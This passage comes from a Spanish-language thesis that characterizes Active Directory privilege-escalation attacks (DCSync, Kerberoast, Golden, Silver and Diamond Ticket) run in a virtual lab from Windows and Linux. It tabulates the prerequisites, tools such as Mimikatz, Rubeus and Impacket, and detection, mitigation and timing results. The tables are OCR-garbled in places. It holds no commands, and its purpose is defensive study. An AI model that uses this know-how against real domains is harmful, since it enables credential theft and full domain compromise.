GetNCChanges, el atacante puede extraer informacion critica como hashes de
contrasefias y datos historicos de cuentas directamente desde el controlador primario, sin

necesidad de acceso interactivo ni de copiar el archivo NTDS.DIT.

La gravedad del ataque DCSync radica en el impacto estructural que puede generar
sobre todo el bosque de Directorio Activo. Dado que los controladores de dominio son el
pilar de autenticacion y gestién de cuentas, acceder a ellos o suplantarlos compromete
por completo la integridad del entorno (QOMPLX, 2020).

Golden Ticket Attack

Golden Ticket Attack consiste en la creacién de tickets de TGT falsificados que
permiten a un atacante suplantar a cualquier usuario dentro del dominio objetivo,
incluyendo cuentas privilegiadas como la de administrador. Segin Kotlaba (2018), dado
que el TGT es forjado, el proceso de autenticacion omite las etapas iniciales del protocolo
Kerberos (AS_REQ y AS_REP), enviando directamente el ticket al Controlador de
Dominio (DC) como parte del mensaje TGS_REQ.

Por su parte, Tapia (2023) sefiala que, para generar un Golden Ticket, es
indispensable obtener el hash de la contrasefia de la cuenta krbtgt del dominio, junto con
el Domain SID. Con estos parametros el atacante puede crear un TGT valido que le
permita suplantar a cualquier usuario del dominio, definiendo los privilegios y tiempos
de expiracion. Ademas, estos tickets pueden ser utilizados desde cualquier méaquina,

incluso si no esta unida al dominio.
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Diamond Ticket Attack

El Diamond Ticket Attack comparte similitudes con el Golden Ticket Attack, dado
que ambos requieren acceso a la clave de la cuenta KRBTGT para llevarse a cabo. Sin
embargo, a diferencia del Golden Ticket, Diamond Ticket suele requerir también acceso
a la clave AES256, lo que lo convierte en un ataque mas sofisticado. Mientras que un
Golden Ticket se basa en la creacion de un Ticket Granting Ticket (TGT) completamente
forjado, el Diamond Ticket aprovecha un TGT legitimo emitido por el controlador de
dominio, el cual puede ser descifrado, modificado y posteriormente re-cifrado,
permitiendo al atacante introducir cambios sin alterar la validez del ticket frente al sistema
de Kerberos (Schwartz, 2022).

La principal ventaja de este ataque radica en que, al basarse en un TGT legitimo emitido
por el controlador de dominio, el Diamond Ticket conserva todos los pardmetros
correctos de la politica de Kerberos y se encuentra respaldado por una solicitud de
autenticacion valida, lo que lo convierte en una técnica significativamente mas sigilosa

dentro de entornos de Directorio Activo (Eliasib, 2024).

2.2.3 Sistemas operativos

Un sistema operativo es un programa que actla como intermediario entre el
usuario y el hardware de la computadora. Se encarga de abstraer la complejidad del
hardware como los procesos, hilos y la gestion de recursos, por su parte, permite
compartir los componentes fisicos disponibles como procesadores, memoria Yy
dispositivos (Eckert et al., 2016).

Es fundamental centrar la atencién en los sistemas operativos Linux y Windows,
ya que desemperfian un papel predominante en el entorno informatico actual. Como sefiala
Awan (2022), “Son dos sistemas operativos que continuamente estan luchando por el

control del mercado de PC”.

Para Golam & Ar (2019), Windows y Linux representan dos enfoques opuestos.
Windows de naturaleza propietaria desarrollado por Microsoft, caracterizado por su
interfaz amigable y su amplia presencia en el uso cotidiano, este utiliza el sistema de
archivos portables de ejecucion (PE) y su cadigo fuente es cerrado. Por otro lado, Linux

es un sistema operativo libre y de codigo abierto basado en el kernel Linux, cuya
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popularidad se debe a su alto rendimiento, eficiencia y a la posibilidad de ser modificado

y adaptado por la comunidad.

Windows

El sistema operativo Windows fue introducido al mercado en 1985. Segln
Adekotujo et al. (2020), ha evolucionado sobre el nucleo NT, el cual constituye la base
de sus versiones modernas. Su arquitectura ha permitido la compatibilidad con sistemas
de 32 y 64 bits, facilitando su implementacion tanto en estaciones de trabajo como en
servidores de gama media. Windows sigue teniendo una presencia dominante,
especialmente en entornos empresariales, comerciales e industriales. Esta posicion ha
sido fortalecida por su interoperabilidad, capacidades para ejecutar aplicaciones
empresariales y su integracion con herramientas como Directorio Activo, utilizadas

ampliamente en infraestructuras corporativas.

Linux

Segun Adekotujo et al. (2020), el sistema operativo Linux fue desarrollado en
1991 por Linus Torvalds como una alternativa libre y de cddigo abierto a los sistemas
propietarios como Windows y macOS. Su codigo abierto permite la descarga,
modificacion y redistribucion sin restricciones ni costos, lo que lo convierte en una buena
opcion entre desarrolladores y entornos académicos. Su arquitectura flexible ha
fomentado una comunidad activa que busca ampliar el alcance hacia usuarios finales. Si
bien su uso puede requerir mayores conocimientos técnicos y presenta limitaciones de
compatibilidad con ciertos programas comerciales, Linux destaca por su robustez y por

la diversidad de sus distribuciones orientadas a distintos tipos de usuarios.

2.2.4 Directorio Activo

Un directorio es una estructura jerarquica que almacena informacion sobre objetos
en la red. A través de servicios como el Directorio Activo (AD), es posible almacenar
datos y ponerlos a disposicion de usuarios y administradores para su gestion (Microsoft,
2025).

Como expresa Desmond et al. (2013), Directorio Activo esta disefiado para

almacenar millones de objetos, cada uno de estos debe ser localizable e identificable,
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por ello, los objetos tienen un identificador unico global (GUID) asignado en el

momento de su creacién hasta ser eliminado.

En esta linea, Muthuraj et al. (2021) destaca que Directorio Activo es ampliamente
utilizado como repositorio centralizado de informacion sobre los objetos que residen en
una red empresarial, como usuarios, grupos, equipos, impresoras, aplicaciones y
archivos. A través de Servicio de Dominio Directorio Activo (AD DS), los
administradores pueden federar identidades de usuario en redes basadas en Windows,
lo que permite gestionar de forma unificada el acceso a los recursos T1 desde un unico

punto centralizado.

La Figura 1 muestra la estructura légica de Directorio Activo, la cual incluye
elementos jerarquicos como usuarios, computadoras, unidades organizativas (OUSs),
dominios, arboles y bosques, fundamentales para la organizacion y administracion de

los recursos en una red empresarial.

Figura 1.

Estructura logica de Directorio Activo

Dominio

Dominio @ @
]
SN

Nota: Representacion de los objetos, unidades organizativas, dominio, subdominio y bosque en Directorio

Activo.

2.2.5 Protocolo Kerberos

Fortinet (n.d.), define a Kerberos como un protocolo utilizado en Directorio

Activo, cuya funcion principal es autenticar tanto a usuarios como a servicios dentro del
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dominio, ademés de proporcionar informacion sobre los privilegios asociados a cada

entidad autenticada. Entre las principales ventajas de utilizar Kerberos en dominios

empresariales destacan:

o Control de acceso.

« Inicio de sesién Unico.

« Interoperabilidad.

e Seguridad.

o Autenticacion mutua.

Segln Gong et al. (2024), Kerberos es un mecanismo de autenticacion de

seguridad basado en criptografia de clave compartida. su disefio se fundamenta en un

modelo de autenticacion de terceros confiable, lo que permite a los usuarios acceder a

servidores remotos de manera segura, sin necesidad de enviar contrasefias directamente

por la red.

Del mismo modo, Anita & Sunita (2015) explican que el protocolo Kerberos

establece una serie de comunicaciones entre el cliente, el servidor y el Centro de

Distribucion de Claves (KDC) para gestionar el acceso a servicios mediante el uso de

tickets. Este proceso consta de seis pasos:

a)

b)

f)

El cliente envia su contrasefia y una marca de tiempo al KDC con el objetivo de
obtener un Ticket Granting Ticket (TGT).

El KDC valida las credenciales; si son correctas, cifra, firma y envia el TGT al
cliente. Solo la cuenta krbtgt puede leer la informacién contenida en el TGT.

El cliente envia al KDC el TGT previamente obtenido, con el objetivo de solicitar
un Ticket Granting Service (TGS).

El KDC cifray envia el TGS al cliente.

El cliente se conecta al servicio presentando el TGS como prueba de
autenticacion.

El servicio valida el TGSy, si es correcto, concede acceso al cliente.

Este flujo de autenticacion puede visualizarse en la Figura 2, la cual representa

graficamente la interaccidn entre los componentes del protocolo Kerberos.
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Figura 2.
Proceso de autenticacion del protocolo Kerberos.

1. Client request TGT From KDC

2 Authentication service sends
" Encrypted TGT and session key

Client request server access
from TGS

TGS sends encrypted session key
and ticket

Privileged User

6 Server sends encrypted time stamp
" from client validation

Nota: Esta figura muestra el proceso de autenticacion del protocolo Kerberos y el intercambio de tickets
necesarios. Tomando de “Kerberos Fundamental”, 2019, https://www.qomplx.com/blog/about-

kerberos/.

2.3 Definiciones conceptuales

Autenticacion. Es el proceso mediante el cual se verifica que una entidad digital que

solicita acceso es efectivamente quien afirma ser.

Autorizacion. Proceso mediante el cual se determina el nivel de acceso o los derechos

especificos que una identidad autenticada debe tener dentro de un entorno o aplicacion.

RC4. Algoritmo de cifrado. Se utiliza para proteger la transmision de datos mediante una

secuencia pseudoaleatoria que se combina con el texto original.

SHA-256. Algoritmo criptografico que genera un valor hash de 256 bits a partir de una
entrada, utilizado para verificar la integridad de datos y almacenar contrasefias de forma

segura.

NTLM. Protocolo de autenticacion NT LAN Manager el cual es un mecanismo utilizado

por sistemas Windows para autenticar usuarios y servicios en redes locales.

MITRE-ATT&CK. Base de conocimiento que documenta técticas, técnicas y
procedimientos (TTPs) empleados por atacantes en las distintas fases de un ciberataque.
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CAPITULO Il
MARCO METODOLOGICO

3.1 Planteamiento metodoldgico
3.1.1 Tipoy nivel de la investigacion

El tipo de investigacion es de naturaleza tecnoldgica aplicada, cuyo objetivo
principal radica en generar conocimiento practico y utilizable para resolver problemas
especificos. Esta investigacion busca aplicar teorias, conceptos y métodos a situaciones
reales con el proposito de ofrecer soluciones concretas o desarrollar estrategias que

puedan implementarse en contextos particulares.

Tal como lo plantea Arias (2012), la investigacion descriptiva tiene como finalidad
caracterizar un hecho, fenémeno, individuo o grupo, con el proposito de establecer su
estructura o comportamiento, situdndose en un nivel intermedio en cuanto a la
profundidad del conocimiento. En este estudio, el enfoque descriptivo se refleja en la
caracterizacion detallada de los ataques de escalada de privilegios en entornos de
Directorio Activo, identificando sus requisitos, procedimientos, herramientas, tiempos de
ejecucion y niveles de dificultad. Este abordaje permite establecer las particularidades y
comportamientos de estos ataques en sistemas Windows y Linux, sin manipular las
variables, pero proporcionando una visién precisa y sistematica del fendmeno

investigado.

3.1.2 Disefio de la investigacion

De acuerdo con Arias (2012), una investigacion se considera de campo cuando la
recoleccién de datos se realiza directamente de los sujetos o del entorno donde ocurren
los hechos, sin manipular ni controlar las variables. En el presente estudio, la informacién
se obtuvo de forma directa en entornos de Directorio Activo, sin intervencion deliberada
sobre las condiciones existentes, por lo que el disefio adoptado corresponde a una

investigacion de campo.
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3.2 Poblaciéon y muestra

Segun Arias (2012), la poblacion es el conjunto finito o infinito de elementos con
caracteristicas comunes, para los cuales seran extensivas las conclusiones de la
investigacion, se considera finita cuando el total de elementos que la integran es conocido
y cuantificable. En el presente estudio, la poblacion es finita, ya que esta conformada por
los ataques correspondientes a la etapa de escalada de privilegios en entornos de
Directorio Activo. De acuerdo con Mittal (2024), estos ataques pueden agruparse en seis
categorias principales, que en conjunto comprenden mas de veinte técnicas
documentadas, que constituyen un marco definido y delimitado de posibles vectores de

ataque a analizar en la presente investigacion.

Para los fines de esta investigacion se empled un muestreo no probabilistico por
conveniencia, considerando la naturaleza de los ataques en estudio y la amplitud de la
poblacion. La muestra estd compuesta por los ataques DCSync, Kerberoast, Golden
Ticket, Silver Ticket y Diamond Ticket, elegidos por su relevancia y frecuente aparicion
en incidentes reales que permiten otorgar acceso privilegiado y mantener persistencia en
entornos de Directorio Activo (IBM, 2024). Ademas, cada uno representa un vector de
escalada distinto, que abarca desde el robo de credenciales hasta la falsificacion de tickets,
lo que permite cubrir un espectro variado de tacticas y sub-técnicas del marco MITRE
ATT&CK.

3.3 Equipos y materiales

Para la presente investigacion se utilizd6 una computadora con las siguientes
caracteristicas: procesador de mdltiples ndcleos, 16 GB de memoria RAM y sistema
operativo Windows 10, la cual permitio la ejecucion simultanea de varios entornos

virtualizados.

Para la virtualizacion de los entornos de prueba se empled el software Oracle
VirtualBox 7.1.6, en el cual se implementd un laboratorio de Directorio Activo con
sistemas operativos Windows Server 2025, Windows 10 Professional y Linux Kali
2025.1. Todas las maquinas virtuales fueron configuradas con 4 GB de memoria RAM y
150 GB de almacenamiento, buscando garantizar un rendimiento estable durante la

ejecucion de las pruebas y actividades experimentales.
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3.4 Procedimiento de las pruebas experimentales

En este trabajo no se emplearon pruebas experimentales, ya que la investigacion es
de caracter descriptivo. En su lugar, se realizaron pruebas de campo en un entorno virtual

de Directorio Activo.

3.5 Técnicas e instrumentos de recoleccion de datos

Segun Arias (2012), la técnica de investigacion se entiende como el procedimiento
o forma particular de obtener datos o informacion, mientras que el instrumento de
recoleccion de datos corresponde a cualquier recurso, dispositivo o formato (fisico o
digital) utilizado para obtener, registrar o almacenar informacion. En el marco de esta
investigacion, se empled la observacién como técnica principal, y como instrumento la
ficha de observacion, la cual permitié registrar de manera sistematica los resultados

obtenidos durante la ejecucion de los ataques de escalada de privilegios.

La aplicacion de la ficha de observacion facilitd la recoleccion y organizacion de
los datos, ademas de permitir un andlisis posterior orientado a identificar las
caracteristicas y técnicas presentes en cada ataque. Este instrumento se adjunta en el
Anexo 02.

Asimismo, en el Anexo 03 se presenta la definicion del coeficiente V de Aiken junto
con los valores obtenidos en su aplicacion, y en el Anexo 04 se incluye el documento

correspondiente al proceso de validacion del instrumento mediante juicio de expertos.
3.6 Técnicas para el procesamiento y andlisis de datos

El procesamiento y anélisis de datos se fundament¢ en la aplicacion de técnicas de
estadistica descriptiva, empleando medidas de tendencia central particularmente el
promedio, y medidas de dispersion, como la desviacion estandar, para evaluar los tiempos
de ejecucion de los ataques. Para la gestion y analisis de la informacion se utilizaron hojas
de célculo, lo que permitié optimizar la elaboracion de tablas, representaciones graficas

e interpretaciones.
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CAPITULO IV
RESULTADOS

4.1 Descripcion de las pruebas de campo

Se llevaron a cabo un conjunto de pruebas orientadas a caracterizar los ataques de
escalada de privilegios en entornos de Directorio Activo. Para ello, se configuré un
laboratorio virtualizado, en el que se ejecutaron los ataques DCSync, Kerberoast, Silver
Ticket, Golden Ticket y Diamond Ticket, tanto desde sistemas Windows como Linux,
con el fin de comparar sus caracteristicas en términos de requisitos, ejecucion, deteccion,

mitigacion y respuesta.

Cada ataque fue ejecutado 10 veces, lo que permitio calcular el tiempo promedio de
ejecucion y estimar su variabilidad a través de la desviacion estandar. Este enfoque
permitid obtener resultados representativos sin necesidad de realizar un nimero excesivo
de repeticiones que hubiesen extendido innecesariamente la duracion de las pruebas. Los
datos recolectados se registraron de forma sistematica en una ficha de observacién, lo que
facilité la identificacion de patrones en los ataques, asi como el andlisis de las
dimensiones como requerimientos, dificultad de ataque, deteccion, mitigacion y
respuesta. Finalmente, los tiempos de ejecucion obtenidos se permitieron evaluar posibles

diferencias en el desempefio de los ataques en cada entorno operativo.

4.2 Presentacion y analisis de los resultados

A continuacion, se presentan y analizan los resultados de la investigacion,
organizados en funcién de los objetivos especificos y sus respectivas dimensiones e
indicadores, con el propoésito de identificar patrones, contrastar las diferencias entre los

entornos evaluados y ofrecer una caracterizacion detallada de los ataques estudiados.
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Identificacion de los requisitos técnicos necesarios para ejecutar ataques de escalada
de privilegios en Directorio Activo.

La tabla 2, muestra los requisitos técnicos identificados para la ejecucion de los
ataques de escalada de privilegios en entornos Windows. Se observa que los ataques
presentan diferentes niveles de complejidad en funcion de los privilegios iniciales, el

acceso previo requerido y las herramientas empleadas.

En el caso de Kerberoast, el nivel de requisitos técnicos es medio, ya que puede
ejecutarse con una cuenta estdndar autenticada en el dominio y apoyandose en
herramientas de uso extendido como Rubeus y Hashcat. No exige privilegios elevados,
pero requiere un conocimiento intermedio en el uso de PowerShell y en la estructura de
Directorio Activo. De forma similar, DCSync también se clasifica como medio, puesto
que depende de un acceso previo y del empleo de Mimikatz, lo que implica un

compromiso anterior a una cuenta con permisos de replicacion.

Por otro lado, ataques como el Golden Ticket, Diamond Ticket y Silver Ticket se
categorizan en un nivel alto de requisitos técnicos, ya que requieren el control de
credenciales altamente sensibles o privilegios administrativos sobre el dominio. Golden
Ticket y Silver Ticket requieren disponer del hash de la cuenta krbtgt, lo cual exige acceso
altamente privilegiado. Diamond Ticket necesita control sobre un TGT vélido de un
usuario privilegiado. En estos escenarios, no solo se requieren herramientas avanzadas
como Mimikatz o Rubeus, sino también un conocimiento profundo de los mecanismos

internos de Kerberos.

Los resultados de la tabla muestran que ataques como Kerberoast y DCSync se
ubican en un nivel intermedio de complejidad, accesibles con privilegios y conocimientos
moderados, mientras que Golden Ticket, Diamond Ticket y Silver Ticked suponen un
nivel elevado de dificultad técnica debido a los privilegios, accesos y conocimientos

especializados necesarios para su ejecucion.
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Tabla 2
Nivel de requisitos técnicos y herramientas por ataque desde Windows.

Ataque Privilegios ACCeS0 previo Herramientas Nivel de requisitos
requeridos necesarias técnicos del ataque
Kerberoast U§uar|o Cuenta estandar Rubeus, Hashcat Medio
autenticado en el
dominio
Silver Ticket Hash NTLM de Acceso a un Mimikatz Alto
una cuenta con hash
SPN
. A | hash .
Golden Ticket Hash NTLM de cceso al has Mimikatz Alto
de krbtgt
krbtgt
Diamond Privilegios de Acceso al TGT
Ticket Domain Admin o de un usuario Rubeus Alto
control total sobre privilegiado
un TGT valido
Privilegios de Control de
DCSync Domain Admin o cuenta Mimikatz Medio
permisos de privilegiada
replicacion

La Tabla 3 muestra la evaluacion de los requisitos técnicos de los ataques de
escalada de privilegios ejecutados en un entorno Linux. Al igual que en el analisis desde
Windows, la clasificacion se fundamenta en los indicadores de la rdbrica encontrada en

el Anexo 2.

En este escenario, Kerberoast mantiene un nivel de dificultad bajo, dado que solo
requiere una cuenta estandar autenticada en el dominio y el uso de herramientas
relativamente accesibles como Impacket y Hashcat. Por el contrario, el Silver Ticket se
ubica en un nivel medio, ya que demanda acceso a un hash NTLM de una cuenta con

SPN y la utilizacion de Ticketer.py.

Los ataques Golden Ticket, Diamond Ticket y DCSync se clasifican en un nivel
medio. En el caso de Golden Ticket, es necesario disponer del hash NTLM de la cuenta
krbtgt y ejecutar Ticketer.py, lo que exige un conocimiento intermedio de los procesos
internos de Kerberos. Diamond Ticket requiere el acceso a un TGT valido de un usuario
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privilegiado y el uso de Impacket; no obstante, la amplia disponibilidad de las
herramientas y su facilidad de uso hacen que su dificultad se mantenga en un nivel medio.
Finalmente, DCSync demanda privilegios de replicacion equivalentes a los de
Administrador de dominio y se apoya en secretsdump.py, puesto que requiere
credenciales altamente privilegiadas, la ejecucion de la herramienta resulta relativamente

directa.

En sintesis, la ejecucion de los ataques desde Linux revela que solo el ataque
Kerberoast se clasifica como de baja complejidad, mientras que el resto de ataques se
ubican en un nivel intermedio. Esto evidencia que las herramientas nativas y bibliotecas
disponibles en entornos como Kali Linux tienden a simplificar la implementacion de

ataques complejos, reduciendo el nivel técnico que en Windows podia considerarse alto.

Tabla 3
Nivel de requisitos técnicos y herramientas por ataque desde Linux.

Ataque Privilegios Acceso previo Herramientas  Nivel de requisitos
requeridos necesarias técnicos del ataque
Kerberoast Usuario Cuenta estandar Impacket, ]
autenticado en el Hashcat Bajo
dominio
Silver Ticket Hash NTLM de Acceso a un Lookupsid.py, Medi
una cuenta con hash Ticketer.py edio
SPN
Golden Ticket Hash NTLM de Acceso al hash Lookupsid.py, Medio
krbtgt de krbtgt Ticketer.py
Diamond Privilegios de Acceso al TGT
Ticket Domain Admin o de un usuario Impacket Medio
control total sobre privilegiado
un TGT valido
DCSync Privilegios de Control de
Domain Admin o cuenta .
. R secretsdump.py Medio
permisos de privilegiada
replicacion

29



Analizar los métodos de implementacion de ataques de escalada de privilegios en
Directorio Activo desde sistemas operativos Windows y Linux.

La Tabla 4 permite identificar la variacion de los niveles de complejidad de
ejecucion de los diferentes ataques de escalada de privilegios ejecutados desde Windows.
Se observa que herramientas como Mimikatz y Rubeus son fundamentales en la ejecucion
de estos ataques, siendo ampliamente utilizadas por su capacidad de interactuar con el

sistema de autenticacion Kerberos y manipular tickets o credenciales.

En este escenario, los ataques DCSync, Kerberoast y Diamond Ticket se ubican
en un nivel de dificultad medio, lo cual se debe a que, si bien requieren varias fases
secuenciales y el uso de pardmetros especificos, pueden ejecutarse con herramientas
ampliamente documentadas como Mimikatz, Rubeus o Hashcat. Estos ataques mantienen
un equilibrio entre complejidad técnica y estabilidad, ya que, aunque pueden presentar
fallos menores o demandar ajustes manuales, no requieren modificaciones avanzadas en

el entorno.

Por otro lado, los ataques Silver Ticket y Golden Ticket presentan una dificultad
alta, en tanto implican la manipulacion de credenciales privilegiadas y la generacion de
tickets Kerberos forjados. Su ejecucién demanda multiples pasos complejos y un
conocimiento avanzado de la infraestructura de autenticacion. Ademaés, dependen
fuertemente de herramientas como Mimikatz, cuya utilizacion requiere ajustar parametros
manualmente y comprender los detalles técnicos del contexto del dominio comprometido,

lo que aumenta la probabilidad de errores o condiciones especificas para su éxito.

Se observa que mientras ataques como DCSync, Kerberoast y Diamond Ticket
mantienen un nivel intermedio de dificultad técnica, los ataques basados en la creacion
de tickets falsificados como Silver Ticket y Golden Ticket representan los mayores retos
de ejecucion dentro del entorno Windows, debido a la complejidad de sus pasos técnicos,
la dependencia de credenciales criticas y la necesidad de conocimientos avanzados en

Kerberos.
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Tabla 4

Dificultad de realizacién, patrones y herramientas por ataque en Windows.

Ataque Patrén de Técnica Herramientas Dificultad del
ataque ATT&CK Ataque
cAPEC 550 0T
DCSync Dominios de Mimikatz Medio
acceso a
ataque :
credenciales
T1558.003 Robo
Kerberoast CAPEC'SQQ Y forjado de Rubeus y hashcat Medio
Kerberoasting  ticket -acceso a
credenciales
CAPEC-652 11558 002 Robo
Uso de o forjado de
Silver Ticket credenciales . ) Mimikatz Alto
ticket -acceso a
Kerberos ;
i credenciales
conocidas
CAPEC-652 11558 001 Robo
Uso de forjado de
Golden Ticket credenciales ytor Mimikatz Alto
ticket -acceso a
Kerberos .
. credenciales
conocidas
CAPEC S5 L e
Diamond Ticket  Dominios de Rubeus Medio
ataque acceso a

credenciales

La Tabla 5 refleja las caracteristicas y niveles de dificultad de realizacion de los
ataques de escalada de privilegios realizados desde un sistema Linux. A diferencia de
Windows, el uso de herramientas de Impacket es indispensable, especialmente en ataques
como DCSync, Silver Ticket y Golden Ticket, lo que demuestra la versatilidad y

capacidad de estas utilidades en la explotacion del protocolo Kerberos desde Linux.

El ataque Diamond Ticked es el Unico clasificado con dificultad baja, gracias a lo
automatizado del proceso con rubeus y a su alta estabilidad. Los demas ataques se
distribuyen entre dificultad media y alta, reflejando que, si bien el entorno Linux ofrece

herramientas robustas para ejecutar ataques complejos, su implementacion ain exige

dominio técnico por parte del atacante.
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Tabla5

Dificultad de realizacién, patrones y herramientas por ataque en Linux.

Ataque Patrén de Técnica Herramientas Dificultad del
ataque ATT&CK Ataque
CAPEC'SS) o cici Cales. impacket:
DCSync Dominios de P : Medio
acceso a secretsdump
ataque -
credenciales
T1558.003 Robo y
Kerberoast CAPEC'SQQ forjado de ticket - Rubeus y hashcat Medio
Kerberoasting acceso a
credenciales
CAPEC-652 11558 002 Robo 0 _
Uso de forjado de ticket - Impacket:
Silver Ticket credenciales ] lookupsid, Medio
acceso a . :
Kerberos . ticketer, wmiexec
. credenciales
conocidas
CAPEC-652
Uso de Egigfgg 5323 (; y Impacket:
Golden Ticket credenciales ) lookupsid, Alto
acceso a . -
Kerberos . ticketer, wmiexec
. credenciales
conocidas
CAPEC'SS0 o i incials
Diamond Ticket  Dominios de Rubeus Bajo
acceso a
ataque

credenciales

La Tabla 6 presenta una comparacion basada en escalas de razon y ordinal,
evaluada en tres dimensiones clave: deteccion, mitigacion y respuesta. Estas dimensiones
fueron medidas mediante un conjunto de indicadores que permitieron asignar valores
numéricos y niveles ordinales (bajo, medio, alto), de acuerdo con la complejidad

observada en cada fase.

Se observa que los ataques Silver Ticket, Golden Ticket y Diamond Ticket
presentan una dificultad alta de deteccion, lo cual indica que estos ataques generan sefiales
poco evidentes en los registros del sistema y pueden pasar desapercibidos en la red, esta
alta evasividad se debe, a la capacidad de estos ataques para generar tickets validos a nivel
estructural, pero manipulados para fines del atacante. En contraste, los ataques DCSync
y Kerberoast presentan una dificultad media de deteccion. Aungue estos también pueden
ocultarse bajo ciertas condiciones, generan eventos que pueden ser detectados mediante

el uso de herramientas de monitoreo bien configuradas.
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Respecto a la mitigacion, el ataque DCSync se clasifica con dificultad baja, dado
que su prevencion puede lograrse mediante buenas practicas de administracion de
privilegios, restricciones en los permisos de replicacion del directorio, y auditoria
constante de cuentas privilegiadas. En cambio, los ataques Golden Ticket y Diamond
Ticket presentan una dificultad media de mitigacion, ya que su prevencion implica una
gestion rigurosa del hash de la cuenta krbtgt y un monitoreo continuo de la actividad del

dominio, pero sin necesidad de redisefiar completamente la arquitectura de seguridad.

En la dimension de dificultad de respuesta, DCSync y Kerberoast presentan una
dificultad media, ya que, si bien su contencion y remediacion demandan un analisis
técnico detallado, pueden ser abordados efectivamente por equipos internos con

experiencia en seguridad y respuesta a incidentes.

Se evidencia que DCSync representa el ataque con menor complejidad operativa
en términos de mitigacion, aunque sigue representando un riesgo relevante por su
dificultad media de deteccidn y respuesta. Kerberoast se posiciona como un ataque de
complejidad intermedia, con una mitigacion mas exigente pero una deteccidn y respuesta
moderadas. Finalmente, los ataques Silver Ticket, Golden Ticket y Diamond Ticket se
consolidan como las amenazas mas complejas de gestionar, especialmente por su alta
dificultad de deteccion y respuesta, lo cual destaca la necesidad de controles avanzados y
un monitoreo continuo para proteger entornos Directorio Activo ante este tipo de vectores

de ataque.
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Tabla 6
Dificultad de deteccidn, mitigacidn y respuesta por ataque.

Ataque Deteccidn Nivel Mitigacion Nivel Respuesta Nivel
(puntaje) (puntaje) (puntaje)

DCSync

5 Medio 3 Bajo 6 Medio
Kerberoast

5 Medio 7 Alto 6 Medio
Silver Ticket

9 Alto 7 Alto 7 Alto
Golden Ticket

9 Alto 6 Medio 8 Alto
Diamond
Ticket 9 Alto 6 Medio 8 Alto

Examinar los tiempos de ejecucion de los ataques de escalada de privilegios en

Directorio Activo desde entornos Windows y Linux.

En general, se observd que los tiempos de ejecucion fueron ligeramente mayores
en Windows para la mayoria de ataques evaluados. El ataque Kerberoast presento el
tiempo mas elevado en ambos entornos, con un promedio de 11.28s en Windows y 10.94s

en Linux, siendo también el ataque méas costoso computacionalmente.

El ataque DCSync mostré una diferencia mas marcada, con un tiempo promedio
de 10.11s en Windows frente a 7.14s en Linux, lo que sugiere una ejecucién mas eficiente
desde entornos Linux, posiblemente debido a la implementacion de herramientas mas
ligeras o el uso de bibliotecas optimizadas como Impacket. En el caso de los ataques
Silver Ticket, Golden Ticket y Diamond Ticket, los tiempos de ejecucion fueron
relativamente similares entre ambos sistemas operativos. Silver Ticket tuvo un promedio
de 5.41s en Windows y 4.48s en Linux, mientras que Golden Ticket registrd 5.78s en
Windows frente a 5.7s en Linux. Finalmente, Diamond Ticket fue el méas uniforme, con
5.92s en Windows y 5.94s en Linux, evidenciando una ejecucion practicamente idéntica

entre ambos entornos.
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Figura 3 Grafico de barras comparativo de tiempo de ejecucion.
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CAPITULO V
DISCUSION

5.1 Aplicacion de la tecnologia encontrada

Los hallazgos de esta investigacion evidencian que los ataques de escalada de
privilegios en Directorio Activo presentan caracteristicas diferenciadas en cuanto a sus
requisitos técnicos, nivel de dificultad, tiempos de ejecucion y mecanismos de deteccion
y mitigacién, dependiendo del sistema operativo empleado para su ejecucion Linux o
Windows. Este andlisis resulta especialmente relevante para profesionales de
ciberseguridad y administradores de sistemas, ya que permite priorizar esfuerzos de

defensa en funcion de la criticidad y factibilidad de cada ataque en escenarios reales.

En particular, la identificacion de ataques como DCSync, Kerberoast, Golden Ticket,
Silver Ticket y Diamond Ticket ofrece un marco practico para entender cémo se
materializan estas amenazas, qué vectores son mas factibles de explotar y qué técnicas

requieren mayor atencion en términos de monitoreo y respuesta.

En sintesis, la aplicacion de los resultados trasciende la caracterizacion técnica de los
ataques: proporciona insumos concretos para fortalecer estrategias de seguridad en
entornos empresariales, optimizar la deteccion temprana de actividades maliciosas y
disefiar planes de mitigacion y respuesta adaptados a los riesgos especificos de Directorio
Activo. Estos aportes benefician directamente a equipos de seguridad, auditores y
responsables de infraestructura critica, al ofrecer una guia clara para anticipar, detectar y
contener amenazas que comprometen la integridad y la continuidad de los servicios

corporativos.

5.2 Contraste con trabajos de investigacion similares

Identificacion de los requisitos técnicos necesarios para ejecutar ataques de escalada

de privilegios en Directorio Activo.

Los resultados obtenidos en esta investigacion permitieron identificar que los

requisitos técnicos para ejecutar ataques de escalada de privilegios en Directorio Activo
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varian segun el tipo de ataque, pero en terminos generales incluyen el acceso a una
cuenta dentro del dominio, el conocimiento del funcionamiento del protocolo Kerberos y

el manejo de herramientas especializadas como Mimikatz, Rubeus o Impacket.

Este hallazgo coincide con lo sefialado por Motero D. (2021), quien resalta que la
mayoria de los ataques requieren un nivel alto de conocimientos técnicos, especialmente
aquellos que implican la creacién o manipulacion de tickets, los cuales exigen privilegios
previos y una comprension profunda del protocolo. Ademas, Motero subraya que muchas
de estas herramientas no son triviales de utilizar, y requieren técnicas de evasion para
evitar ser detectadas por mecanismos de seguridad como Microsoft Defender. Por otro
lado, Ibrahim B. (2022) destaca la sofisticacion creciente de los ataques a Directorio
Activo, asi como su capacidad para comprometer entornos completos al abusar del

protocolo Kerberos, especialmente en ataques como Pass-The-Hash y Kerberoast.

En linea con lo hallado en esta tesis, Ibrahim también hace énfasis en la importancia
de comprender el flujo de autenticacion de Kerberos, ya que su manipulacion es un
requisito comun en maltiples vectores de escalada. En conjunto, tanto esta investigacion
como las de Ibrahim y Motero concluyen que, si bien la ejecucién de estos ataques puede
estar automatizada, el acceso a los recursos necesarios y la comprension de los
mecanismos internos del protocolo constituyen barreras técnicas importantes que

condicionan su viabilidad, efectividad y capacidad de deteccion.

Analizar los métodos de implementacion de ataques de escalada de privilegios en

Directorio Activo desde sistemas operativos Windows y Linux.

En la presente investigacion se identificaron diferencias y similitudes relevantes en
la forma en que se implementan ataques de escalada de privilegios en Directorio Activo
desde sistemas Windows y Linux. Una de las principales similitudes observadas es que,
en ambos entornos, la mayoria de los ataques requieren la recoleccion previa de
informacién del entorno, y pueden ejecutarse mediante herramientas automatizadas. Sin
embargo, se evidencian diferencias importantes en los requisitos técnicos y la facilidad
de ejecucion: en Windows, los ataques tienden a integrarse mas directamente con
funcionalidades nativas del sistema, mientras que en Linux es necesario configurar
entornos especiales. Esto coincide parcialmente con lo sefialado por Ruiz N. (2023), quien
indica que la complejidad de los ataques y los requisitos son generalmente mayores en
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Windows, mientras que en Linux se presenta una mayor gravedad cuando los ataques
